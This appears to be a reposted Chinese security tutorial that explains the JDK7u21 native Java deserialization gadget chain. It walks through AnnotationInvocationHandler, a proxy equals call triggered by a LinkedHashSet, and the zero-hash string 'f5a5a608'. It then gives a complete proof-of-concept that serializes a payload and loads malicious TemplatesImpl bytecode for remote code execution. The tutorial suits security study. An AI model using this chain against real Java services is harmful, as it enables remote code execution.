【java安全】原生反序列化利用链JDK7u21

文章目录

    • 【java安全】原生反序列化利用链JDK7u21
      • 前言
      • 原理
        • equalsImpl()
        • 如何调用equalsImpl()?
        • HashSet通过反序列化间接执行equals()方法
        • 如何使hash相等?
      • 思路整理
      • POC
      • Gadget
      • 为什么在HashSet#add()前要将HashMap的value设为其他值?

【java安全】原生反序列化利用链JDK7u21

前言

前面我们学习了使用第三方类:Common-CollectionsCommon-Beanutils进行反序列化利用。我们肯定会想,如果不利用第三方类库,能否进行反序列化利用链呢?这里还真有:JDK7u21。但是只适用于java 7u及以前的版本

在使用这条利用链时,需要设置jdk为jdk7u21

原理

JDK7u21这条链利用的核心其实就是AnnotationInvocationHandler,没错,就是我们之前学习过的那个类,位于:sun.reflect.annotation包下

equalsImpl()

我们看一下equalsImpl()getMemberMethods方法:

private Boolean equalsImpl(Object var1) {  //传入var1
        ...
        } else {
            Method[] var2 = this.getMemberMethods();
            int var3 = var2.length;

            for(int var4 = 0; var4 < var3; ++var4) {
                Method var5 = var2[var4];  // var5是一个方法对象
                String var6 = var5.getName();
                Object var7 = this.memberValues.get(var6);
                Object var8 = null;
                AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
                if (var9 != null) {
                    var8 = var9.memberValues.get(var6);
                } else {
                    try {
                        var8 = var5.invoke(var1);  // 这里会调用var1这个对象的var5方法
                    } 
                    ...

            return true;
        }
    }

private transient volatile Method[] memberMethods = null;

private Method[] getMemberMethods() {
        if (this.memberMethods == null) {
            this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
                public Method[] run() {
                    Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods(); //获得Method[]
                    AccessibleObject.setAccessible(var1, true);
                    return var1;
                }
            });
        }

        return this.memberMethods;
    }

equalsImpl()方法中明显会调用memberMethod.invoke(o) ,而memberMethod来自于this.type.getDeclaredMethods()

如果我们此时传入invoke()中的形参为TemplatesImpl对象,并且this.typeTemplatesImpl的字节码对象。

那么经过循环就会调用TemplatesImpl对象中的每个方法,就必然会调用newTransformer()getOutputProperties()方法从而执行恶意字节码了

如何调用equalsImpl()?

那么在哪里会调用equalsImpl()方法呢?invoke()

public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
    
    	//当执行invoke()方法时传入的方法名字为equals并且形参只有一个,类型为Object就会执行 equalsImpl()
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);  
        } else {
            assert var5.length == 0;

            if (var4.equals("toString")) {
                return this.toStringImpl();
            } else if (var4.equals("hashCode")) {
                return this.hashCodeImpl();
            } else if (var4.equals("annotationType")) {
                return this.type;
            } else {
                Object var6 = this.memberValues.get(var4); //cc1
                ...
            }
        }
    }

我们之前cc1中是另this.memberValues等于一个LazyMap对象,让其调用get()方法,就可以执行cc1利用链了

但是这里我们不需要利用这里,我们需要注意这里:

//当执行invoke()方法时传入的方法名字为equals并且形参只有一个,类型为Object就会执行 equalsImpl()
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
	return this.equalsImpl(var3[0]);  
}

我们应该思考这里的invoke()方法如何被调用,并且刚好使形参的第二个为equals、第三个参数的类型为Object对象

我们之前学习过动态代理,当一个代理对象Proxy调用一个方法时,就会调用构造该代理对象时传入的InvocationHandlerinvoke()方法,并且第二个参数为methodName方法名,invoke()第三个参数为调用方法时传入的参数

所以现在我们需要找到一个类,他在反序列化时,会间接的对Proxy对象调用equals()方法

HashSet通过反序列化间接执行equals()方法

HashSet可以做到这个效果,实现这个效果有一点复杂,我们先大致了解一下过程

image-20230803163945918

我们创建一个LinkedHashSet对象,当反序列化时会遍历每一个值,使用LinkedHashMap#put()方法,

put()方法中这几行是重点

int hash = hash(key);  //计算key的hash值
int i = indexFor(hash, table.length);  //这个i也是hash
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
	Object k;
 	if (e.hash == hash && ((k = e.key) == key || key.equals(k)))  //重点

这里会对key的hash与表中取出的e的hash做一个比较,如果这俩个hash相等,但是又不是同一个对象的化,就会执行keyequals()方法,传入参数k

这里我们假设keyProxy代理对象,并且这里传入的k是一个TemplatesImpl恶意对象,那么就会执行AnnotationInvocationHandlerinvoke()方法,从而执行equalsImpl()中的invoke()方法

最终调用了TemplatesImpl恶意对象的newTransformer()方法RCE

image-20230803165019843

我们怎么控制上面的key以及k=e.key呢?

其实我们上面已经分析了一下,这个key和k其实就是我们添加进入:LinkedHashSet中的元素而已

// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);

我们应该先添加TemplatesImpl对象,再添加Proxy代理对象,这样才好触发key.equals(k)

如何使hash相等?

我们上面其实默认了一个前提,那就是e.hash == hash 。其实这两个默认肯定不相等,我们需要一些小操作使其相等

我们先来看看HashMap中的hash()方法:

final int hash(Object k) {
        ...
        h ^= k.hashCode();
        h ^= (h >>> 20) ^ (h >>> 12);
        return h ^ (h >>> 7) ^ (h >>> 4);
    }

这里自始至终只用到了一个变量k.hashCode(),其他的都相等,我们想要ProxyTemplateImpl的hash相等,其实只需要让k.hashCode()相等即可

TemplateImpl的 hashCode() 是一个Native方法,每次运 行都会发生变化,我们理论上是无法预测的,所以想让proxy的 hashCode() 与之相等,只能寄希望于 proxy.hashCode()

当我们调用proxy.hashCode()时,就会调用创建改代理对象时传入的InvocationHandler对象的invoke()方法,我们继续看看invoke()

public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        } else if (var4.equals("hashCode")) {
                return this.hashCodeImpl();
            }
            ...
        }
    }

可见,会继续调用invoke()中的hashCodeImpl()方法:

private int hashCodeImpl() {
        int var1 = 0;

        Map.Entry var3;
        for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
            var3 = (Map.Entry)var2.next();
        }

        return var1;
    }

重点是下面这一句,var1是计算累加和的,如果this.memberValues是一个HashMap类型并且其中只有一个元素,那么函数的返回值就变成了这个了:

127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
即:
127 * key.hashCode() ^ value.hashCode()

我们想让ProxyTemplateImpl的hash相等,并且TemplateImplhash不可控。

上述代码中如果我们令key.hashCode()=0,并且我们令value 等于TemplateImpl对象,那么这两个的hash就相等了,进而可以执行Proxy的equals()方法了

我们需要找到一个值的hashCode为0,是可以通过爆破来实现的:

public static void bruteHashCode()
{
    for (long i = 0; i < 9999999999L; i++) {
        if (Long.toHexString(i).hashCode() == 0) {
        	System.out.println(Long.toHexString(i));
		}
	}
}

跑出来第一个是 f5a5a608 ,这个也是ysoserial中用到的字符串

思路整理

讲完了这么多我们理清一下思路

先创建一个恶意TemplatesImpl对象:

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

为了使ProxyTemplateImpl的hash相等,以便执行equals(),我们需要让AnnotationInvocationHandlerthis.memberValues等于一个HashMap并且只有一个元素:key为f5a5a608,value为:TemplateImpl对象,这样由AnnotationInvocationHandler组成的代理对象proxyTemplateImpl的hash就会相等

所以创建一个HashMap

// 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

实例化 AnnotationInvocationHandler 对象

  • 它的type属性是一个TemplateImpl类
  • 它的memberValues属性是一个Map,Map只有一个key和value,key是字符串 f5a5a608 , value是前面生成的恶意TemplateImpl对象

实例化AnnotationInvocationHandler类,将map传参进去,经过构造函数设置为memberValues

由于equalImpl()方法会调用memberMethod.invoke(o),这个memberMethod来自this.type.getDeclaredMethods()所以需要设置typeTemplatesImpl的 字节码,这里构造函数会将第一个参数设为type

Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

在创建核心的LinkedHashSet之前,我们需要创建一个代理对象,将tempHandler给传进去

// 为tempHandler创造一层代理
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

然后实例化:HashSet:

// 实例化HashSet,并将两个对象放进去
HashSet set = new LinkedHashSet();
set.add(templates); 
set.add(proxy);

添加的先后顺序要注意一下,Proxy应该放在后面,这样才会调用Proxy#equals()

这样在反序列化触发rce的流程如下:

首先触发HashSet的readObject()方法,然后集合中的值会使用LinkedHasnMapput(key,常数)方法进行key去重

去重时计算元素的hashcode,由于我们已经构造其相等,所以会触发Proxy#equals()方法

进而调用AnnotationInvocationHandler#invoke()-> AnnotationInvocationHandler#equalsImpl()方法

equalsImpl()会遍历type的每个方法并调用。

因为this.typeTemplatesImpl字节码对象,所以最终会触发newTransformer()造成RCE

POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class JDK7u21 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        String zeroHashCodeStr = "f5a5a608";

        // 实例化一个map,并添加Magic Number为key,也就是f5a5a608,value先随便设置一个值
        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, "foo");

        // 实例化AnnotationInvocationHandler类
        Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handlerConstructor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

        // 为tempHandler创造一层代理
        Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

        // 实例化HashSet,并将两个对象放进去
        HashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(proxy);

        // 将恶意templates设置到map中
        map.put(zeroHashCodeStr, templates);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(set);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

Gadget

HashSet#readObject()
    LinkedHashMap#put(e, PRESENT)
    	Proxy#equals(k)
    		AnnotationInvocationHandler#invoke()
    			equalsImpl()
    				TemplatesImpl#newTransformer()
    					...
    					ClassLoader.defineClass()
    					...
    					Runtime.exec()

为什么在HashSet#add()前要将HashMap的value设为其他值?

我们追踪一下HashSet#add()方法,发现他也会调用HashMap#put()方法,这样就会导致Proxy提前触发equals()方法造成命令执行:

image-20230803181355838

我们测试一下:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;

public class JDK7u21 {
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
        setFieldValue(templates, "_name", "HelloTemplatesImpl");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        String zeroHashCodeStr = "f5a5a608";

        
        HashMap map = new HashMap();
        map.put(zeroHashCodeStr, templates);  //value再这里设为templates

        Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        handlerConstructor.setAccessible(true);
        InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

        Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

        HashSet set = new LinkedHashSet();
        set.add(templates);
        set.add(proxy);

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

成功不经过反序列化就弹出计算器:

image-20230803181634928

所以我们需要先将HashMap的唯一一个元素的value设为其他值

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/59593.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

真我V3 5G(RMX2200 RMX2201)解锁刷机全过程

安卓系统新Rom包为GSI&#xff0c;更具有通用性&#xff0c;可以比较放心刷。 原厂系统垃圾多、广告多&#xff0c;甚至热点功能不支持ipv6&#xff0c;严重偏离热点机的定位。 主要参考 https://www.bilibili.com/read/cv20730877/https://www.bilibili.com/read/cv2073087…

Unity 引擎做残影效果——3、顶点偏移方式

Unity实现残影效果 大家好&#xff0c;我是阿赵。 继续讲Unity引擎的残影做法。这次的残影效果和之前两种不太一样&#xff0c;是通过顶点偏移来实现的。 具体的效果是这样&#xff1a; 与其说是残影&#xff0c;这种效果更像是移动速度很快时造成的速度线&#xff0c;所以在移…

机器学习深度学习——卷积的多输入多输出通道

&#x1f468;‍&#x1f393;作者简介&#xff1a;一位即将上大四&#xff0c;正专攻机器学习的保研er &#x1f30c;上期文章&#xff1a;机器学习&&深度学习——从全连接层到卷积 &#x1f4da;订阅专栏&#xff1a;机器学习&&深度学习 希望文章对你们有所帮…

高效构建 vivo 企业级网络流量分析系统

作者&#xff1a;vivo 互联网服务器团队- Ming Yujia 随着网络规模的快速发展&#xff0c;网络状况的良好与否已经直接关系到了企业的日常收益&#xff0c;故障中的每一秒都会导致大量的用户流失与经济亏损。因此&#xff0c;如何快速发现网络问题与定位异常流量已经成为大型企…

c高级:day3

作业: 1. 整理思维导图 2.判断家目录下,普通文件的个数和目录文件的个数 #!/bin/bash ######################################################################## # File Name: zy1.sh # Created Time: 2023年08月04日 星期五 19时13分08秒 ##############################…

面试之HashMap

1.什么是集合框架 Java的集合主要有两个根接口Collection和Map派生出来的&#xff0c;Collection派生出来了三个子接口&#xff1a;List,Queue,Set。因此Java集合大致可分为List,Queue,Set,Map四种体系结构。 2.HashMap与TreeMap HashMap是直接实现Map接口&#xff0c;而Tree…

线上通过Nginx部署前端工程,并且配置SSL

介绍、为了更好的帮助大家学习&#xff0c;减少歧义,IP地址我就不隐藏了&#xff0c;公司也是我自己的公司。你们就别来攻击了。 下面给出步骤: 一、前期准备工作 通过在目标服务器上安装宝塔面板、安装redis、mysql、nginx、jdk环境等 1、 2、前端工程通过npm run build 打…

【Elasticsearch】Elasticsearch快速入门,掌握这些刚刚好!(官网入门案例)

文章目录 1. 简介2. 相关概念3. 安装4. 集群状态查看5. 索引操作6. 文档操作7. 数据搜索数据准备搜索入门(match_all)条件搜索(match)组合搜索(bool)过滤搜索(filter)搜索聚合(aggs) 8. 参考资料 本文的主要功能是带领从0到1入门Elasticsearch的基础使用&#xff0c;重点是Elas…

python机器学习(六)决策树(上) 构造树、信息熵的分类和度量、信息增益、CART算法、剪枝

决策树算法 模拟相亲的过程&#xff0c;通过相亲决策图&#xff0c;男的去相亲&#xff0c;会先选择性别为女的&#xff0c;然后依次根据年龄、长相、收入、职业等信息对相亲的另一方有所了解。 通过决策图可以发现&#xff0c;生活中面临各种各样的选择&#xff0c;基于我们的…

招投标系统简介 企业电子招投标采购系统源码之电子招投标系统 —降低企业采购成本 tbms

​功能模块&#xff1a; 待办消息&#xff0c;招标公告&#xff0c;中标公告&#xff0c;信息发布 描述&#xff1a; 全过程数字化采购管理&#xff0c;打造从供应商管理到采购招投标、采购合同、采购执行的全过程数字化管理。通供应商门户具备内外协同的能力&#xff0c;为外…

视频汇聚平台EasyCVR视频广场侧边栏支持拖拽

为了提升用户体验以及让平台的操作更加符合用户使用习惯&#xff0c;我们在EasyCVR v3.3版本中&#xff0c;支持面包屑侧边栏的广场视频、分组列表、收藏这三个模块拖拽排序&#xff0c;并且该操作在视频广场、视频调阅、电子地图、录像回放等页面均能支持。 TSINGSEE青犀视频…

python解析帆软cpt及frm文件(xml)获取源数据表及下游依赖表

#!/user/bin/evn python import os,re,openpyxl 输入&#xff1a;帆软脚本文件路径输出&#xff1a;帆软文件检查结果Excel#获取来源表 def table_scan(sql_str):# remove the /* */ commentsq re.sub(r"/\*[^*]*\*(?:[^*/][^*]*\*)*/", "", sql_str)# r…

探索硬件王国:计算机硬件信息一览(使用powershell获得计算机硬件信息)

获得运行权限&#xff1a; 请确保在运行脚本文件之前&#xff0c;设置了适当的执行策略。如果需要&#xff0c;可以使用 Set-ExecutionPolicy 命令更改执行策略。例如&#xff0c;可以使用以下命令将执行策略设置为 RemoteSigned&#xff1a; Set-ExecutionPolicy RemoteSign…

云真机调研

1. 主流云真机 目前市面上主流的远程真机服务商有:Testin云测、百度MTC、TestBird、精灵云测、腾讯Wetest、泽众云等,设备上基本覆盖Android、iOS和鸿蒙等主流设备,通过远程真机可以进行手工测试、代码调试、自动化脚本录制及执行等 2. testin 登录-云测&#xff0c;助力产业…

通用指令(汇编)

一、数据处理指令1&#xff09;数学运算数据运算指令的格式数据搬移指令立即数伪指令加法指令带进位的加法指令减法指令带借位的减法指令逆向减法指令乘法指令数据运算指令的扩展 2&#xff09;逻辑运算按位与指令按位或指令按位异或指令左移指令右移指令位清零指令 3&#xff…

【枚举+trie+dfs】CF514 C

Problem - 514C - Codeforces 题意&#xff1a; 思路&#xff1a; 其实是trie上dfs的板题 先把字符串插入到字典树中 对于每次询问&#xff0c;都去字典树上dfs 注意到字符集只有3&#xff0c;因此如果发现有不同的字符&#xff0c;去枚举新的字符 Code&#xff1a; #in…

学习单片机的秘诀:实践与坚持

在学习单片机时&#xff0c;将实践与学习结合起来是一个很好的方法。不要一上来就死磕指令和名词&#xff0c;而是边学边做实验&#xff0c;循序渐进地理解和应用指令。通过实验&#xff0c;你能亲身感受到指令的控制效果&#xff0c;增强对单片机的理解和兴趣。 学习单片机不…

【iOS】App仿写--天气预报

文章目录 前言一、首页二、搜索界面三、添加界面四、浏览界面总结 前言 最近完成了暑假的最后一个任务——天气预报&#xff0c;特此记录博客总结。根据iPhone中天气App的功能大致可以将仿写的App分为四个界面——首页&#xff0c;搜索界面&#xff0c;添加界面&#xff0c;浏…

dflow工作流使用1——架构和基本概念

对于容器技术、工作流等概念完全不懂的情况下理解dflow的工作方式会很吃力&#xff0c;这里记录一下个人理解。 dflow涉及的基本概念 工作流的概念很好理解&#xff0c;即某个项目可以分为多个步骤&#xff0c;每个步骤可以实现独立运行&#xff0c;只保留输入输出接口&#x…

WebGL Shader着色器GLSL语言

在2D绘图中的坐标系统&#xff0c;默认情况下是与窗口坐标系统相同&#xff0c;它以canvas的左上角为坐标原点&#xff0c;沿X轴向右为正值&#xff0c;沿Y轴向下为正值。其中canvas坐标的单位都是’px’。 WebGL使用的是正交右手坐标系&#xff0c;且每个方向都有可使用的值的…
最新文章